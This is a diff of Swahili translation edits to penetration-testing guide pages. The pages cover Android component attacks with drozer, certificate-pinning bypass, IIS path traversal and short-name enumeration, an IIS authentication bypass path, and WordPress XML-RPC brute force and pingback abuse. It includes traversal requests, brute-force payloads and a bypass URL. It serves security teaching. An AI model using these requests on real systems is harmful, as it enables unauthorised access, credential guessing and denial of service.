Shughuli zinaweza kupatikana kwa programu nyingine au michakato kwa kuashiria kama "exported" katika hati. Mpangilio huu unaruhusu programu nyingine kuanzisha shughuli hii:
Shughuli zinaweza kupatikana kwa programu nyingine au michakato kwa kuziashiria kama "exported" katika hati. Mpangilio huu unaruhusu programu nyingine kuanzisha shughuli hii:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -254,9 +254,9 @@ Hata hivyo, kufikia shughuli kutoka programu nyingine si hatari ya usalama kila
Mzunguko wa maisha wa shughuli **uanza na njia ya onCreate**, kuandaa UI na kuandaa shughuli kwa mwingiliano na mtumiaji.
### Aina ya Programu
### Application Subclass
Katika maendeleo ya Android, programu ina chaguo la kuunda **aina** ya [Application](https://developer.android.com/reference/android/app/Application) darasa, ingawa si lazima. Wakati aina kama hiyo imefafanuliwa, inakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika aina hii, inatekelezwa kabla ya njia ya **`onCreate`**. Mpangilio huu unaruhusu kuanzishwa mapema kabla ya sehemu nyingine za programu kuanza.
Katika maendeleo ya Android, programu ina chaguo la kuunda **subclass** ya [Application](https://developer.android.com/reference/android/app/Application) darasa, ingawa si lazima. Wakati subclass kama hiyo imefafanuliwa, inakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika subclass hii, inatekelezwa kabla ya njia ya **`onCreate`**. Mpangilio huu unaruhusu awali ya mapema kabla ya sehemu nyingine ya programu kuanza.
```java
public class MyApp extends Application {
@Override
@ -284,21 +284,21 @@ Matumizi ya kuvutia ya huduma ni pamoja na upigaji muziki wa nyuma au upataji wa
```
### Broadcast Receivers
**Broadcast receivers** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokeaji** kwa **njia mbili kuu**: kupitia **Manifest** ya programu au **kwa njia ya kidinamik** ndani ya msimbo wa programu kupitia **`registerReceiver`** API. Katika Manifest, matangazo yanachujwa kwa ruhusa, wakati wapokeaji waliojiandikisha kwa njia ya kidinamik wanaweza pia kubainisha ruhusa wakati wa kujiandikisha.
**Broadcast receivers** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokeaji** kwa **njia mbili kuu**: kupitia **Manifest** ya programu au **kikamilifu** ndani ya msimbo wa programu kupitia **`registerReceiver`** API. Katika Manifest, matangazo yanachujwa kwa ruhusa, wakati wapokeaji waliojiandikisha kikamilifu wanaweza pia kubainisha ruhusa wakati wa kujiandikisha.
**Intent filters** ni muhimu katika mbinu zote za kujiandikisha, zikiamua ni matangazo gani yanayochochea mpokeaji. Mara matangazo yanayolingana yatumwa, njia ya **`onReceive`** ya mpokeaji inaitwa, ikiruhusu programu kujibu ipasavyo, kama kubadilisha tabia kwa kujibu onyo la betri ya chini.
**Intent filters** ni muhimu katika mbinu zote za kujiandikisha, zikiamua ni matangazo gani yanayochochea mpokeaji. Mara matangazo yanayolingana yanapotumwa, njia ya **`onReceive`** ya mpokeaji inaitwa, ikiruhusu programu kujibu ipasavyo, kama kubadilisha tabia kwa kujibu onyo la betri ya chini.
Matangazo yanaweza kuwa **asynchronous**, yakifika kwa wapokeaji wote bila mpangilio, au **synchronous**, ambapo wapokeaji wanapata matangazo kulingana na vipaumbele vilivyowekwa. Hata hivyo, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kukamata matangazo.
Matangazo yanaweza kuwa **asynchronous**, yakifika kwa wapokeaji wote bila mpangilio, au **synchronous**, ambapo wapokeaji wanapata matangazo kulingana na vipaumbele vilivyowekwa. Hata hivyo, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kukamata tangazo.
Ili kuelewa kazi ya mpokeaji, angalia njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Intent iliyopokelewa, ikionyesha umuhimu wa uthibitishaji wa data na wapokeaji, hasa katika **Ordered Broadcasts**, ambazo zinaweza kubadilisha au kuacha Intent.
Ili kuelewa kazi ya mpokeaji, angalia njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Intent iliyopokelewa, ikionyesha umuhimu wa uthibitisho wa data na wapokeaji, hasa katika **Ordered Broadcasts**, ambazo zinaweza kubadilisha au kuacha Intent.
### Content Provider
**Content Providers** ni muhimu kwa **kushiriki data iliyopangwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **ruhusa** ili kuhakikisha usalama wa data. Wanaruhusu programu kufikia data kutoka vyanzo mbalimbali, ikiwa ni pamoja na hifadhidata, mifumo ya faili, au mtandao. Ruhusa maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti ufikiaji. Zaidi ya hayo, ufikiaji wa muda unaweza kutolewa kupitia mipangilio ya **`grantUriPermission`** katika manifest ya programu, ikitumia sifa kama `path`, `pathPrefix`, na `pathPattern` kwa udhibiti wa ufikiaji wa kina.
Uthibitishaji wa ingizo ni muhimu ili kuzuia udhaifu, kama vile SQL injection. Content Providers zinasaidia operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, zikifanikisha usimamizi wa data na kushiriki kati ya programu.
Uthibitisho wa ingizo ni muhimu ili kuzuia udhaifu, kama vile SQL injection. Content Providers zinaunga mkono operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, zikisaidia katika kubadilisha na kushiriki data kati ya programu.
**FileProvider**, Content Provider maalum, inazingatia kushiriki faili kwa usalama. Inafafanuliwa katika manifest ya programu kwa sifa maalum za kudhibiti ufikiaji wa folda, zinazoonyeshwa na `android:exported` na `android:resource` zikielekeza kwenye mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufichua data nyeti bila kukusudia.
**FileProvider**, mtoa maudhui maalum, unalenga kushiriki faili kwa usalama. Inafafanuliwa katika manifest ya programu kwa sifa maalum za kudhibiti ufikiaji wa folda, zinazoashiria na `android:exported` na `android:resource` zinazotaja mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufichua data nyeti bila kukusudia.
Mfano wa tangazo la manifest kwa FileProvider:
```xml
@ -323,16 +323,16 @@ Kwa maelezo zaidi angalia:
## WebViews
WebViews ni kama **vibrowser vidogo** ndani ya programu za Android, vinavyovuta maudhui ama kutoka mtandaoni au kutoka kwa faili za ndani. Vinakabiliwa na hatari sawa na vibrowser vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum.
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta maudhui ama kutoka kwenye wavuti au kutoka kwenye faili za ndani. Vinakabiliwa na hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum.
Android inatoa aina mbili kuu za WebView:
- **WebViewClient** ni mzuri kwa HTML ya msingi lakini haisaidii kazi ya arifa ya JavaScript, ikihusisha jinsi mashambulizi ya XSS yanavyoweza kupimwa.
- **WebChromeClient** inafanya kazi kama uzoefu kamili wa kivinjari cha Chrome.
Jambo muhimu ni kwamba vibrowser vya WebView **havishiriki vidakuzi** na kivinjari kikuu cha kifaa.
Jambo muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kikuu cha kifaa.
Kwa kupakia maudhui, mbinu kama `loadUrl`, `loadData`, na `loadDataWithBaseURL` zinapatikana. Ni muhimu kuhakikisha URLs hizi au faili ni **salama kutumia**. Mipangilio ya usalama inaweza kudhibitiwa kupitia darasa la `WebSettings`. Kwa mfano, kuzima JavaScript kwa `setJavaScriptEnabled(false)` kunaweza kuzuia mashambulizi ya XSS.
Kwa kupakia maudhui, mbinu kama `loadUrl`, `loadData`, na `loadDataWithBaseURL` zinapatikana. Ni muhimu kuhakikisha kwamba URLs hizi au faili ni **salama kutumia**. Mipangilio ya usalama inaweza kudhibitiwa kupitia darasa la `WebSettings`. Kwa mfano, kuzima JavaScript kwa `setJavaScriptEnabled(false)` kunaweza kuzuia mashambulizi ya XSS.
"Bridge" ya JavaScript inaruhusu vitu vya Java kuingiliana na JavaScript, ikihitaji mbinu kuwekewa alama na `@JavascriptInterface` kwa usalama kuanzia Android 4.2.
@ -346,7 +346,7 @@ Ili kudhibiti ufikiaji wa faili:
### **Saini ya Kidijitali ya Programu**
- **Saini ya kidijitali** ni lazima kwa programu za Android, kuhakikisha zimeandikwa **kwa njia halisi** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, kulinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kuwasilishwa kwa kifaa.
- **Saini ya kidijitali** ni lazima kwa programu za Android, kuhakikisha kwamba zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, kulinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kuwasilishwa kwa kifaa.
### **Uhakikisho wa Programu kwa Usalama Bora**

View File

@ -19,7 +19,7 @@ pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
Pakua na sakinisha drozer APK kutoka kwa [toleo la hivi karibuni](https://github.com/mwrlabs/drozer/releases). Wakati huu ni [hii](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
Pakua na usakinishe drozer APK kutoka kwa [toleo la hivi karibuni](https://github.com/mwrlabs/drozer/releases). Wakati huu ni [hii](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash
adb install drozer.apk
```
@ -29,7 +29,7 @@ Agent inafanya kazi kwenye bandari 31415, tunahitaji [port forward](https://en.w
```bash
adb forward tcp:31415 tcp:31415
```
Hatimaye, **anzisha** **programu** na bonyeza chini "**ON**"
Hatimaye, **anzisha** **programu** na bonyeza kitufe "**ON**"
![](<../../../images/image (459).png>)
@ -42,16 +42,16 @@ drozer console connect
| **Commands** | **Description** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | Inaonyesha msaada wa moduli iliyochaguliwa |
| **list** | Inaonyesha orodha ya moduli zote za drozer ambazo zinaweza kutekelezwa katika kikao cha sasa. Hii inaficha moduli ambazo huna ruhusa sahihi za kuendesha. |
| **list** | Inaonyesha orodha ya moduli zote za drozer ambazo zinaweza kutekelezwa katika kikao cha sasa. Hii inaficha moduli ambazo huna ruhusa sahihi za kuzitekeleza. |
| **shell** | Anza shell ya Linux ya kuingiliana kwenye kifaa, katika muktadha wa Agent. |
| **clean** | Ondoa faili za muda zilizohifadhiwa na drozer kwenye kifaa cha Android. |
| **load** | Pakia faili inayoshikilia amri za drozer na uzitekeleze kwa mpangilio. |
| **module** | Tafuta na sakinisha moduli za ziada za drozer kutoka Mtandao. |
| **unset** | Ondoa kigezo kilichopewa jina ambacho drozer hupitisha kwa shell zozote za Linux ambazo inazalisha. |
| **module** | Tafuta na usakinishe moduli za ziada za drozer kutoka Mtandao. |
| **unset** | Ondoa kigezo kilichopewa jina ambacho drozer hupitisha kwa shell zozote za Linux ambazo inazalisha. |
| **set** | Hifadhi thamani katika kigezo ambacho kitapewa kama kigezo cha mazingira kwa shell zozote za Linux zinazozalishwa na drozer. |
| **shell** | Anza shell ya Linux ya kuingiliana kwenye kifaa, katika muktadha wa Agent |
| **run MODULE** | Tekeleza moduli ya drozer |
| **exploit** | Drozer inaweza kuunda exploits za kutekeleza kwenye kifaa. `drozer exploit list` |
| **shell** | Anza shell ya Linux ya kuingiliana kwenye kifaa, katika muktadha wa Agent |
| **run MODULE** | Tekeleza moduli ya drozer |
| **exploit** | Drozer inaweza kuunda exploits za kutekeleza kwenye kifaa. `drozer exploit list` |
| **payload** | The exploits need a payload. `drozer payload list` |
### Package
@ -95,7 +95,7 @@ Attack Surface:
2 services exported
is debuggable
```
- **Activities**: Labda unaweza kuanzisha shughuli na kupita aina fulani ya idhini ambayo inapaswa kukuzuia kuanzisha.
- **Activities**: Labda unaweza kuanzisha shughuli na kupita aina fulani ya idhini ambayo inapaswa kukuzuia kuizindua.
- **Content providers**: Labda unaweza kufikia data binafsi au kutumia udhaifu fulani (SQL Injection au Path Traversal).
- **Services**:
- **is debuggable**: [Learn more](#is-debuggeable)
@ -103,7 +103,7 @@ is debuggable
### Activities
Thamani ya “android:exported” ya kipengele cha shughuli kilichosafirishwa imewekwa kuwa **“true”** katika faili la AndroidManifest.xml:
```markup
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
@ -115,7 +115,7 @@ com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**Start activity**:
**Anza shughuli**:
Labda unaweza kuanzisha shughuli na kupita aina fulani ya idhini ambayo inapaswa kukuzuia kuizindua.
```bash
@ -130,15 +130,15 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### Watoa Maudhui
Post hii ilikuwa kubwa sana kuwa hapa hivyo **unaweza** [**kuipata kwenye ukurasa wake hapa**](exploiting-content-providers.md).
Post hii ilikuwa kubwa sana kuwepo hapa hivyo **unaweza** [**kuipata kwenye ukurasa wake hapa**](exploiting-content-providers.md).
### Huduma
Huduma iliyosafirishwa inatangazwa ndani ya Manifest.xml:
```markup
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
Ndani ya msimbo **angalia** kazi ya \*\*`handleMessage`\*\* ambayo itakuwa **pokea** **ujumbe**:
Ndani ya msimbo **angalia** kazi ya \*\*`handleMessage`\*\* ambayo itapokea **ujumbe**:
![](<../../../images/image (82).png>)
@ -164,7 +164,7 @@ Angalia msaada wa **drozer** kwa `app.service.send`:
![](<../../../images/image (1079).png>)
Kumbuka kwamba utaanza kutuma data ndani ya "_msg.what_", kisha "_msg.arg1_" na "_msg.arg2_", unapaswa kuangalia ndani ya msimbo **ni taarifa gani inatumika** na wapi.\
Kwa kutumia chaguo `--extra` unaweza kutuma kitu kinachofasiriwa na "_msg.replyTo_", na kwa kutumia `--bundle-as-obj` unaunda kitu na maelezo yaliyotolewa.
Kwa kutumia chaguo `--extra` unaweza kutuma kitu kinachofasiriwa na "_msg.replyTo"_, na kwa kutumia `--bundle-as-obj` unaunda kitu na maelezo yaliyotolewa.
Katika mfano ufuatao:
@ -179,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
### Broadcast Receivers
**Katika sehemu ya msingi ya taarifa za Android unaweza kuona ni nini Broadcast Receiver**.
**Katika sehemu ya taarifa za msingi za Android unaweza kuona ni nini Broadcast Receiver**.
Baada ya kugundua Broadcast Receivers hizi unapaswa **kuangalia msimbo** wao. Zingatia kwa makini **`onReceive`** kazi kwani itakuwa inashughulikia ujumbe uliopokelewa.
@ -208,7 +208,7 @@ Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Matukio ya **Mawasiliano**
#### Matendo ya **Mawasiliano**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
@ -216,26 +216,26 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### Tuma ujumbe
Katika mfano huu wa kutumia [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Mtoa Maudhui unaweza **kutuma SMS yoyote** kwa marudio yasiyo ya premium **bila kumuuliza** mtumiaji ruhusa.
Katika mfano huu ukitumia [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider unaweza **kutuma SMS yoyote** kwa marudio yasiyo ya premium **bila kumuuliza** mtumiaji ruhusa.
![](<../../../images/image (415).png>)
![](<../../../images/image (573).png>)
Ikiwa unasoma msimbo, vigezo "_phoneNumber_" na "_message_" vinapaswa kutumwa kwa Mtoa Maudhui.
Ikiwa unasoma msimbo, vigezo "_phoneNumber_" na "_message_" vinapaswa kutumwa kwa Content Provider.
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### Is debuggeable
APK ya uzalishaji haitakiwi kuwa debuggable.\
Hii inamaanisha kwamba unaweza **kuunganisha java debugger** kwenye programu inayotembea, kuichunguza wakati wa utekelezaji, kuweka breakpoints, kwenda hatua kwa hatua, kukusanya thamani za mabadiliko na hata kuzibadilisha. [InfoSec institute ina makala bora](../exploiting-a-debuggeable-applciation.md) kuhusu kuchimba zaidi wakati programu yako ni debuggable na kuingiza msimbo wa wakati wa utekelezaji.
A prodduction APK should never be debuggeable.\
Hii inamaanisha kwamba unaweza **kuunganisha java debugger** kwenye programu inayotembea, kuichunguza wakati wa utekelezaji, kuweka breakpoints, kwenda hatua kwa hatua, kukusanya thamani za mabadiliko na hata kuzibadilisha. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code.
Wakati programu ni debuggable, itaonekana katika Manifest:
When an application is debuggable, it will appear in the Manifest:
```xml
<application theme="@2131296387" debuggable="true"
```
Unaweza kupata programu zote zinazoweza kudebug na **Drozer**:
Unaweza kupata programu zote zinazoweza kudebugiwa kwa kutumia **Drozer**:
```bash
run app.package.debuggable
```

View File

@ -1,10 +1,10 @@
{{#include ../../banners/hacktricks-training.md}}
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kukagua trafiki ya wavuti kwa baadhi ya programu tunahitaji kweli kufungua upya programu hiyo na kuongeza mambo machache na kuirejesha.
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kukagua trafiki ya wavuti kwa baadhi ya programu tunahitaji kweli kufungua upya programu hiyo na kuongeza mambo machache na kuirekebisha tena.
# Automatic
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya **kiotomatiki** mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia itazima pinning ya cheti (ikiwa ipo).
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia itazima certificate pinning (ikiwa ipo).
# Manual
@ -12,7 +12,7 @@ Kwanza tunafungua upya programu: `apktool d *file-name*.apk`
![](../../images/img9.png)
Kisha tunaingia kwenye faili ya **Manifest.xml** na kuporomoka hadi kwenye lebo ya `<\application android>` na tutaanza kuongeza mstari ufuatao ikiwa haupo tayari:
Kisha tunaingia kwenye faili ya **Manifest.xml** na kuporomoka hadi kwenye tag ya `<\application android>` na tutongeza mstari ufuatao ikiwa haupo tayari:
`android:networkSecurityConfig="@xml/network_security_config"`
@ -25,7 +25,7 @@ Baada ya kuongeza:
![](../../images/img11.png)
Sasa ingia kwenye folda ya **res/xml** na uunde/badilisha faili inayoitwa network_security_config.xml yenye maudhui yafuatayo:
```markup
```html
<network-security-config>
<base-config>
<trust-anchors>

View File

@ -61,14 +61,14 @@ Angalia andiko kamili katika: [https://blog.mindedsecurity.com/2018/10/from-path
> [!NOTE]
> Kwa muhtasari, kuna faili kadhaa za web.config ndani ya folda za programu zikiwa na viungo kwa faili za "**assemblyIdentity**" na "**namespaces**". Kwa taarifa hii inawezekana kujua **mahali ambapo executable ziko** na kuzipakua.\
> Kutoka kwa **Dlls zilizopakuliwa** pia inawezekana kupata **namespaces mpya** ambapo unapaswa kujaribu kufikia na kupata faili ya web.config ili kupata namespaces mpya na assemblyIdentity.\
> Pia, faili **connectionstrings.config** na **global.asax** zinaweza kuwa na taarifa muhimu.
> Pia, faili **connectionstrings.config** na **global.asax** zinaweza kuwa na taarifa za kuvutia.
Katika **.Net MVC applications**, faili ya **web.config** ina jukumu muhimu kwa kuainisha kila faili la binary ambalo programu inategemea kupitia lebo za XML za **"assemblyIdentity"**.
### **Exploring Binary Files**
Mfano wa kufikia faili ya **web.config** umeonyeshwa hapa chini:
```markup
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
@ -76,7 +76,7 @@ Hii ombi linaonyesha mipangilio na utegemezi mbalimbali, kama vile:
- **EntityFramework** toleo
- **AppSettings** kwa ajili ya kurasa za wavuti, uthibitishaji wa mteja, na JavaScript
- **System.web** mipangilio ya uthibitishaji na wakati wa utekelezaji
- **System.web** mipangilio ya uthibitishaji na wakati wa kukimbia
- **System.webServer** mipangilio ya moduli
- **Runtime** uhusiano wa mkusanyiko kwa maktaba nyingi kama **Microsoft.Owin**, **Newtonsoft.Json**, na **System.Web.Mvc**
@ -88,21 +88,21 @@ Faili zinazopatikana katika saraka kuu, kama **/global.asax** na **/connectionst
### **Namespaces na Web.Config**
Programu za MVC pia zinafafanua **web.config files** za ziada kwa ajili ya namespaces maalum ili kuepuka matamko ya kurudiwa katika kila faili, kama inavyoonyeshwa na ombi la kupakua **web.config** nyingine:
```markup
Programu za MVC pia zinafafanua **web.config files** za ziada kwa ajili ya namespaces maalum ili kuepuka matamko yanayojirudia katika kila faili, kama inavyoonyeshwa na ombi la kupakua **web.config** nyingine:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Kushusha DLLs**
### **Kupakua DLLs**
Kurejelea jina la kawaida la desturi kunaashiria DLL inayoitwa "**WebApplication1**" iliyopo katika saraka ya /bin. Kufuatia hii, ombi la kushusha **WebApplication1.dll** linaonyeshwa:
```markup
Kurejelewa kwa jina la kawaida maalum kunaashiria DLL inayoitwa "**WebApplication1**" iliyopo katika saraka ya /bin. Kufuatia hii, ombi la kupakua **WebApplication1.dll** linaonyeshwa:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Hii inaashiria uwepo wa DLL nyingine muhimu, kama **System.Web.Mvc.dll** na **System.Web.Optimization.dll**, katika saraka ya /bin.
Hii inaonyesha uwepo wa DLL nyingine muhimu, kama **System.Web.Mvc.dll** na **System.Web.Optimization.dll**, katika saraka ya /bin.
Katika hali ambapo DLL inapoagiza namespace inayoitwa **WebApplication1.Areas.Minded**, mshambuliaji anaweza kudhani uwepo wa faili nyingine za web.config katika njia zinazoweza kutabiriwa, kama **/area-name/Views/**, zikiwa na mipangilio maalum na marejeleo kwa DLL nyingine katika folda ya /bin. Kwa mfano, ombi kwa **/Minded/Views/web.config** linaweza kufichua mipangilio na namespaces zinazodhihirisha uwepo wa DLL nyingine, **WebApplication1.AdditionalFeatures.dll**.
Katika hali ambapo DLL inapata namespace inayoitwa **WebApplication1.Areas.Minded**, mshambuliaji anaweza kudhani uwepo wa faili nyingine za web.config katika njia zinazoweza kutabiriwa, kama **/area-name/Views/**, zikiwa na mipangilio maalum na marejeleo kwa DLL nyingine katika folda ya /bin. Kwa mfano, ombi kwa **/Minded/Views/web.config** linaweza kufichua mipangilio na namespaces zinazodhihirisha uwepo wa DLL nyingine, **WebApplication1.AdditionalFeatures.dll**.
### Faili za kawaida
@ -187,16 +187,16 @@ C:\xampp\tomcat\conf\server.xml
Ikiwa unaona kosa kama hili:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Inamaanisha kwamba seva **haikupokea jina sahihi la kikoa** ndani ya kichwa cha Host.\
Inamaanisha kwamba seva **haikupata jina sahihi la kikoa** ndani ya kichwa cha Host.\
Ili kufikia ukurasa wa wavuti unaweza kuangalia **Cheti cha SSL** kilichotolewa na labda unaweza kupata jina la kikoa/subdomain huko. Ikiwa halipo unaweza kuhitaji **kujaribu VHosts** hadi upate sahihi.
## Uthibitisho wa zamani wa IIS unaofaa kutafuta
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character “\~” Vulnerability/Feature Short File/Folder Name Disclosure
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folda iliyogunduliwa (hata kama inahitaji Uthibitisho wa Msingi) ukitumia **mbinu** hii.\
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folda iliyogunduliwa (hata kama inahitaji Msingi wa Uthibitishaji) ukitumia hii **mbinu**.\
Kikomo kikuu cha mbinu hii ikiwa seva ina udhaifu ni kwamba **inaweza tu kupata hadi herufi 6 za kwanza za jina la kila faili/folda na herufi 3 za kwanza za kiendelezi** cha faili.
Unaweza kutumia [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kujaribu udhaifu huu:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -209,11 +209,11 @@ Unaweza pia kutumia **metasploit**: `use scanner/http/iis_shortname_scanner`
Wazo zuri la **kupata jina la mwisho** la faili zilizogunduliwa ni **kuuliza LLMs** kwa chaguzi kama ilivyofanywa katika skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Mipangilio ya Uthibitisho wa Msingi
### Basic Authentication bypass
**Pita** uthibitisho wa msingi (**IIS 7.5**) ukijaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` au `/admin::$INDEX_ALLOCATION/admin.php`
**Bypass** uthibitishaji wa msingi (**IIS 7.5**) ukijaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` au `/admin::$INDEX_ALLOCATION/admin.php`
Unaweza kujaribu **kuchanganya** udhaifu huu na wa mwisho ili kupata **folda** mpya na **kupita** uthibitisho.
Unaweza kujaribu **kuchanganya** udhaifu huu na wa mwisho ili kupata **folda** mpya na **kuondoa** uthibitishaji.
## ASP.NET Trace.AXD enabled debugging

View File

@ -103,16 +103,16 @@ Kumbuka kwamba kipengele hiki kinatoa tu watumiaji ambao wamefanya chapisho. **T
Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza kuvuja anwani za IP.
- **Uainishaji wa jina la mtumiaji wa kuingia**: Wakati wa kuingia katika **`/wp-login.php`** ujumbe ni **tofauti** ikiwa **jina la mtumiaji limepoo** au la.
- **Uainishaji wa jina la mtumiaji wa kuingia**: Wakati wa kuingia katika **`/wp-login.php`** ujumbe ni **tofauti** ikiwa **jina la mtumiaji lililoonyeshwa lipo au la**.
### XML-RPC
Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya shambulio la nguvu za nywila au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano).
Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya brute-force ya akidi au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano).
Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hili:
**Angalia**
```markup
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
@ -123,7 +123,7 @@ Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hi
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya mbinu zinazoweza kutumika kujaribu nguvu za nywila. Ikiwa unaweza kupata yoyote kati yao unaweza kutuma kitu kama:
```markup
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
@ -139,7 +139,7 @@ Ujumbe _"Jina la mtumiaji au nenosiri si sahihi"_ ndani ya jibu la msimbo 200 un
![](<../../images/image (721).png>)
Kwa kutumia akidi sahihi unaweza kupakia faili. Katika jibu, njia itaonekana ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
@ -180,7 +180,7 @@ Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, hivyo hai
Ikiwa unaweza kupata njia _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/port yoyote.\
Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** lo **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria port yoyote).
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
@ -196,7 +196,7 @@ Ikiwa unapata **faultCode** yenye thamani **kubwa** kuliko **0** (17), inamaanis
